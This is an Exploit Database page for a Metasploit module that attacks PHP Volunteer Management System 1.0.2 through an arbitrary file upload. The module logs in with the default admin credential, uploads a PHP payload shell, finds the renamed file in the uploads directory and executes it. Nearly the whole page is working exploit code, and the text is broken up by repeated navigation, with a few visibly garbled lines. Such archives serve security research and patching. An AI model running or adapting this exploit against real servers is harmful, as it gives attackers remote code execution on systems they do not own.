



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

PHP Volunteer Management System 1.0.2 - Arbitrary File Upload (Metasploit)

EDB-ID:

18957

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2012-05-31

Vulnerable App: 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name' => "PHP Volunteer Management System v1.0.2
Arbitrary File Upload Vulnerability",
      'Description' => %q{
        This module exploits a vulnerability found in PHP
        Volunteer Management System,
        version v1.0.2 or prior. This application has an upload
        feature that allows an
        authenticated user to upload anything to the 'uploads'
        directory, which is actually
        reachable by anyone without a credential. An attacker can
        easily abuse this upload
        functionality first by logging in with the default
        credential (admin:volunteer),
        upload a malicious payload, and then execute it by sending
        another GET request.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Ashoo <ashoo.online[at]gmail.com>',
          'sinn3r' #Metasploit
        ],
      'References' =>
        [
          ['EDB', '18941']
        ],
      'Payload' =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions' =>
        {
          'ExitFunction' => "none"
        },
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' =>
        [
          ['PHP Volunteer Management 1.0.2', {}]
        ],
      'Privileged' => false,
      'DisclosureDate' => "May 28 2012",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web
application', '/bf102/']),
        OptString.new('USERNAME', [true, 'The username to login',
'admin']),
        OptString.new('PASSWORD', [true, 'The password to login',
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
'volunteer'])
      ], self.class)
    end

    #
    # Login to the web application.
    # When you send the very first request to the app, you're assigned with
    a cookie called
    # 'PHPVolunteerManagent'. This is something you must keep, because
    after authentication,
    # that same cookie becomes your auth token.
    #
    def login(base, username, password)
      # Get cookie: PHPVolunteerManagent
      res = send_request_raw({
        'method' => 'GET',
        'uri'     => "#{base}index.php"
      })

      # If we don't get a cookie, bail!
      if res and res.headers['Set-Cookie'] =~
/(PHPVolunteerManagent=\w+);*/
        cookie = $1
        vprint_status("#{@peer} - Found cookie: #{cookie}")
      else
        return nil
      end

      # Find the location for login
      login_location = res.headers['Location'] || '?p=login'

      # And then login!
      res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => "#{base}index.php#{login_location}",
        'cookie'  => cookie,
        'vars_post' => {
          'volunteer_email' => username,
          'volunteer_password' => password,
          'submit'          => 'Login!'
        }
      })

      # If the app wants to redirect us to the dashboard, we
      # assume the login was successful
      if res and res.headers['Location'] =~ /\?p\=dashboard/
        return cookie
      else
        return nil
      end
    end

    #
    # Upload the payload as a personal document.
    # This will save the file in: mods/documents/uploads/
    # And then we return the HTTP response, which should contain some
    message indicating
    # whether we successfully uploaded the file, or not.
    #
    def upload(base, cookie, fname, file, description)
      boundary = "----WebKitFormBoundary#{rand_text_alpha(10)}"

      endpoint = "#{rhost}"
      endpoint << ":{rport}" if rport.to_i != 80

      data_post = "--#{boundary}\r\n"
      data_post << "Content-Disposition: form-data; name=\"file\";"
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

data_post << "Content-Disposition: form-data; name=\"file\",
filename=\"#{fname}\"\\r\\n"
data_post << "Content-Type: text/php\\r\\n"
data_post << "\\r\\n"
data_post << file
data_post << "\\r\\n"
data_post << "--#{boundary}\\r\\n"
data_post << "Content-Disposition: form-data;
name=\"description\"\\r\\n"
data_post << "\\r\\n"
data_post << description
data_post << "\\r\\n"
data_post << "--#{boundary}\\r\\n"
data_post << "Content-Disposition: form-data; name=\"submit\"\\r\\n"
data_post << "\\r\\n"
data_post << "Submit"
data_post << "\\r\\n"
data_post << "--#{boundary}--\\r\\n"

res = send_request_cgi({
  'method' => 'POST',
  'uri' => "#{base}index.php?p=upload_personal_document",
  'cookie' => cookie,
  'ctype' => "multipart/form-data; boundary=#{boundary}",
  'data' => data_post,
  'headers' => {
    'Referer' => "http://#{endpoint}#{base}index.php?
p=upload_personal_document"
  }
})

return res
end

#
# Find all the new files from the 'uploads' directory.
# This trick is necessary, because when we upload a file, our filename
# is renamed to something else with a timestamp. Since we cannot
reliability
# guess what the filename is going to be, we can at least compare both
before/after
# snapshots to figure it out.
#
def get_my_file(before, after)
  r = /\<td\>\<a href=\"(\d{4}\-\d{2}\-\d{2})_\d+\-\d+\-\
\d+\_\d+\.\w+\">\d{4}\-\d{2}\-\d{2})_\d+\-\d+\-\d+\_\d+\.\w+\</a\>
</td\>/
  b = (before.scan(r) || []).flatten
  a = (after.scan(r) || []).flatten

  # Return all the new uploads
  return a - b
end

#
# This function will return the raw HTTP response like a snapshot,
# which later can be used for comparison.
#
def peek_uploads(base, cookie)
  res = send_request_raw({
    'method' => 'GET',
    'uri' => "#{base}mods/documents/uploads/",
    'cookie' => cookie
  })

  return res
end

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

#
# The exploit function does exploity things
#
def exploit
  base = target_uri.path
  base << '/' if base[-1, 1] != '/'

  @peer = "#{rhost}:#{rport}"

  # Login
  username = datastore['USERNAME']
  password = datastore['PASSWORD']
  cookie = login(base, username, password)
  if cookie.nil?
    print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")
    return
  end

  print_status("#{@peer} - Login successful with #{username}:#{password}")

  # Take a snapshot of the uploads directory
  # Viewing this doesn't actually require the user to login first,
  # but we supply the cookie anyway to act more like a real user.
  print_status("#{@peer} - Enumerating all the uploads...")
  before = peek_uploads(base, cookie)
  if before.nil?
    print_error("#{@peer} - Unable to enumerate original uploads")
    return
  end

  # Upload our PHP shell
  print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
  fname = rand_text_alpha(rand(10)+6) + '.php'
  desc = rand_text_alpha(rand(10)+5)
  php = %Q|<?php #{payload.encoded} ?>|
  res = upload(base, cookie, fname, php, desc)
  if res.nil? or res.body !~ /The file was successfully uploaded/
    print_error("#{@peer} - Failed to upload our file")
    return
  end

  # Now that we've uploaded our shell, let's take another snapshot
  # of the uploads directory.
  print_status("#{@peer} - Enumerating new uploads...")
  after = peek_uploads(base, cookie)
  if after.nil?
    print_error("#{@peer} - Unable to enumerate latest uploads")
    return
  end

  # Find the filename of our uploaded shell
  files = get_my_file(before.body, after.body)
  if files.empty?
    print_error("#{@peer} - No new file(s) found. The upload probably failed.")
    return
  else
    vprint_status("#{@peer} - Found these new files: #{files.inspect}")
  end

  # There might be more than 1 new file, at least execute the first
  10

  # just to make sure. Don't want to try too many either.

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

counter = 0
files.each do |f|
  counter += 1
  break if counter > 10
  print_status("Trying file: #{f}")
  send_request_raw({
    'method' => 'GET',
    'uri'     => "#{base}mods/documents/uploads/#{f}",
    'cookie' => cookie
  })
end

handler

end
end

```

Tags: [Metasploit Framework](#) ([MSF](#))

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.